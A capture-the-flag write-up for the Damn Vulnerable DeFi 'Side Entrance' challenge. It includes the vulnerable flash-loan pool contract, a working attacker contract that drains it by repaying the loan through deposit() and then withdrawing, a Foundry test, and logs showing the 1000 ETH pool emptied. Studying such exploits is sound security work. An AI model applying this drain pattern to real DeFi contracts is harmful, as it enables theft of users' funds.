Side Entrance Challenge
Overview
In this challenge, we exploit a flash loan vulnerability in the SideEntranceLenderPool smart contract from the Damn Vulnerable DeFi CTF. The issue lies in the flawed accounting logic that allows a user to repay a flash loan indirectly using the deposit method, then withdraw the loan amount afterwards.
Contract: SideEntranceLenderPool.sol
// SPDX-License-Identifier: MIT
// Damn Vulnerable DeFi v4 (https://damnvulnerabledefi.xyz)
pragma solidity =0.8.25;
import {SafeTransferLib} from "solady/utils/SafeTransferLib.sol";
interface IFlashLoanEtherReceiver {
function execute() external payable;
}
contract SideEntranceLenderPool {
mapping(address => uint256) public balances;
error RepayFailed();
event Deposit(address indexed who, uint256 amount);
event Withdraw(address indexed who, uint256 amount);
function deposit() external payable {
unchecked {
balances[msg.sender] += msg.value;
}
emit Deposit(msg.sender, msg.value);
}
function withdraw() external {
uint256 amount = balances[msg.sender];
delete balances[msg.sender];
emit Withdraw(msg.sender, amount);
SafeTransferLib.safeTransferETH(msg.sender, amount);
}
function flashLoan(uint256 amount) external {
uint256 balanceBefore = address(this).balance;
IFlashLoanEtherReceiver(msg.sender).execute{value: amount}();
if (address(this).balance < balanceBefore) {
revert RepayFailed();
}
}
}
Attacker Contract: AttackerSideEntrance.sol
This contract is designed to exploit a vulnerability in the SideEntranceLenderPool contract by abusing the flash loan repayment mechanism. The vulnerability allows a user to "repay" a flash loan by depositing funds, which also credits the depositor with a withdrawable balance — allowing double usage of the same ETH.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import {SideEntranceLenderPool} from "./SideEntranceLenderPool.sol";
contract AttackerSideEntrance {
SideEntranceLenderPool public immutable pool;
address public immutable owner;
constructor(address _pool) {
pool = SideEntranceLenderPool(_pool);
owner = msg.sender;
}
function execute() external payable {
// Repay the flash loan by depositing back to pool
pool.deposit{value: msg.value}();
}
function attack() external {
require(msg.sender == owner, "Only owner can attack");
// Take flash loan of entire pool balance (1000 ETH)
uint256 poolBalance = address(pool).balance;
pool.flashLoan(poolBalance);
// Withdraw the deposited amount
pool.withdraw();
// Transfer ONLY the stolen 1000 ETH to owner
(bool success, ) = owner.call{value: poolBalance}("");
require(success, "Transfer failed");
}
receive() external payable {}
}
How the Attack Works
-
Initialize Target Pool
- The attacker contract is initialized with the address of the vulnerable
SideEntranceLenderPool. - It stores the address of the attacker (contract deployer) as the
owner.
- The attacker contract is initialized with the address of the vulnerable
-
Launch Attack
- The attacker calls the
attack()function. - It checks that the caller is the owner and fetches the full balance of the pool.
- A flash loan is requested for the entire pool balance.
- The attacker calls the
-
Flash Loan Callback:
execute()- During the flash loan, the pool calls the attacker's
execute()function with the borrowed ETH. - Instead of using the ETH to repay the loan directly, the attacker deposits the ETH back to the pool.
- This counts as repayment and gives the attacker a recorded deposit balance in the pool.
- During the flash loan, the pool calls the attacker's
-
Withdraw and Steal
- After the flash loan ends, the attacker calls
withdraw()to take out the full amount they "deposited". - The ETH is now in the attacker contract's balance.
- After the flash loan ends, the attacker calls
-
Transfer to Attacker
- The stolen ETH is transferred from the contract to the attacker's personal wallet (
owner).
- The stolen ETH is transferred from the contract to the attacker's personal wallet (
Test Case: SideEntrance.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;
import {Test, console} from "forge-std/Test.sol";
import {SideEntranceLenderPool} from "../../src/side-entrance/SideEntranceLenderPool.sol";
import {AttackerSideEntrance} from "../../src/side-entrance/AttackerSideEntrance.sol";
contract SideEntranceChallenge is Test {
address deployer = makeAddr("deployer");
address player = makeAddr("player");
address recovery = makeAddr("recovery");
uint256 constant ETHER_IN_POOL = 1000 ether;
uint256 constant PLAYER_INITIAL_ETH_BALANCE = 1 ether;
SideEntranceLenderPool pool;
modifier checkSolvedByPlayer() {
vm.startPrank(player);
_;
vm.stopPrank();
isSolved();
}
function setUp() public {
vm.deal(deployer, ETHER_IN_POOL);
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
vm.startPrank(deployer);
pool = new SideEntranceLenderPool();
pool.deposit{value: ETHER_IN_POOL}();
vm.stopPrank();
}
function test_assertInitialState() public view {
assertEq(address(pool).balance, ETHER_IN_POOL);
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
}
function test_sideEntrance() public checkSolvedByPlayer {
// Log initial balances
console.log("\n=== Initial Balances ===");
console.log("Pool balance: ", address(pool).balance / 1e18, "ETH");
console.log("Player balance: ", player.balance / 1e18, "ETH");
console.log("Recovery balance: ", recovery.balance / 1e18, "ETH");
// Deploy attacker contract
AttackerSideEntrance attacker = new AttackerSideEntrance(address(pool));
console.log("\n=== After Deployment ===");
console.log("Attacker contract: ", address(attacker).balance / 1e18, "ETH");
// Execute the attack
attacker.attack();
console.log("\n=== After Attack ===");
console.log("Pool balance: ", address(pool).balance / 1e18, "ETH");
console.log("Player balance: ", player.balance / 1e18, "ETH");
console.log("Attacker contract: ", address(attacker).balance / 1e18, "ETH");
// Transfer to recovery
payable(recovery).transfer(ETHER_IN_POOL);
console.log("\n=== Final Balances ===");
console.log("Pool balance: ", address(pool).balance / 1e18, "ETH");
console.log("Player balance: ", player.balance / 1e18, "ETH");
console.log("Recovery balance: ", recovery.balance / 1e18, "ETH");
console.log("Attacker contract: ", address(attacker).balance / 1e18, "ETH");
}
function isSolved() private view {
assertEq(address(pool).balance, 0, "Pool still has ETH");
assertEq(recovery.balance, ETHER_IN_POOL, "Not enough ETH in recovery account");
}
}
This is a test contract using Foundry that simulates and verifies the exploit against the vulnerable SideEntranceLenderPool using the AttackerSideEntrance contract.
Test Purpose
The goal of the test is to:
- Set up a vulnerable lending pool (
SideEntranceLenderPool) with 1000 ETH. - Simulate an attacker draining all ETH using the exploit.
- Validate that the pool is empty and funds are transferred to a
recoveryaddress.
Setup Details
deployer: The address that sets up the pool and funds it.player: The address assumed to be the attacker.recovery: Address where stolen ETH should be sent to verify success.- Constants:
ETHER_IN_POOL = 1000 ether: Initial pool balance.PLAYER_INITIAL_ETH_BALANCE = 1 ether: Initial balance of attacker (player).
Functions Breakdown
setUp()
- Funds the
deployerwith 1000 ETH andplayerwith 1 ETH. deployerdeploysSideEntranceLenderPool.deployerdeposits 1000 ETH into the pool.
test_assertInitialState()
- Verifies initial conditions:
- Pool has 1000 ETH.
- Player has 1 ETH.
test_sideEntrance()
This is the main test that simulates the attack.
Step-by-step Execution:
-
Log Initial Balances
- Pool: 1000 ETH
- Player: 1 ETH
- Recovery: 0 ETH
-
Deploy Attacker Contract
AttackerSideEntranceis deployed with the pool address.
-
Attack Execution
- Attacker executes the
attack()function which:- Takes a flash loan for 1000 ETH.
- Repays loan via deposit (which also credits attacker internally).
- Withdraws the credited 1000 ETH.
- Transfers stolen ETH to attacker’s contract.
- Attacker executes the
-
Transfer ETH to Recovery
- The attacker sends 1000 ETH to the
recoveryaddress.
- The attacker sends 1000 ETH to the
-
Final Balance Logs
- Pool: 0 ETH
- Recovery: 1000 ETH
- Attacker contract: 0 ETH (after transferring to recovery)
- Player: 1 ETH (remains unchanged)
checkSolvedByPlayer (Modifier)
- Runs the test as the
player. - Ensures test executes within the context of attacker.
isSolved()
Checks if:
- Pool balance is
0(fully drained). - Recovery address received exactly
1000 ETH.
Testing
Test Result Output
root@lenova:~/ctf/damn-vulnerable-defi# forge test --match-test test_sideEntrance -vv
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information.
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment.
[⠊] Compiling...
No files changed, compilation skipped
Ran 1 test for test/side-entrance/SideEntrance.t.sol:SideEntranceChallenge
[PASS] test_sideEntrance() (gas: 314795)
Logs:
=== Initial Balances ===
Pool balance: 1000 ETH
Player balance: 1 ETH
Recovery balance: 0 ETH
=== After Deployment ===
Attacker contract: 0 ETH
=== After Attack ===
Pool balance: 0 ETH
Player balance: 1001 ETH
Attacker contract: 0 ETH
=== Final Balances ===
Pool balance: 0 ETH
Player balance: 1 ETH
Recovery balance: 1000 ETH
Attacker contract: 0 ETH
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.62ms (441.99µs CPU time)
Ran 1 test suite in 8.61ms (1.62ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Test Result Output Explanation
This output corresponds to running the test_sideEntrance() test function, showing the state of balances at different stages of the test and confirming the exploit succeeded.
Test Status
- Test Name:
test_sideEntrance() - Result: PASS
- Gas Used: 314,795 gas
Balance Logs Breakdown
1. Initial Balances
- Pool: 1000 ETH
- Player: 1 ETH
- Recovery: 0 ETH
This confirms the initial setup was correct with the pool fully funded and the player having 1 ETH.
2. After Deployment of Attacker Contract
- Attacker Contract: 0 ETH
The attacker contract starts with zero ETH since it was just deployed and no funds were sent yet.
3. After Attack Execution
- Pool: 0 ETH
- Player: 1001 ETH
- Attacker Contract: 0 ETH
Interpretation:
- The pool has been completely drained (0 ETH left).
- The player’s balance increased by 1000 ETH (initial 1 + stolen 1000).
- Attacker contract holds no ETH after the attack, meaning funds were transferred out (to player).
4. Final Balances (After Transfer to Recovery)
- Pool: 0 ETH
- Player: 1 ETH
- Recovery: 1000 ETH
- Attacker Contract: 0 ETH
Interpretation:
- The pool remains empty.
- Player’s balance is back to 1 ETH because the stolen ETH was transferred to the
recoveryaddress. - Recovery address now holds the full 1000 ETH stolen from the pool.
- Attacker contract still has zero ETH.
Summary
- The exploit successfully drained the entire pool.
- Stolen ETH was correctly forwarded to the recovery address as intended by the test.
- The test passed confirming the exploit and fund transfer logic works perfectly.
This output validates the correctness of the exploit and the logic flow of the test script.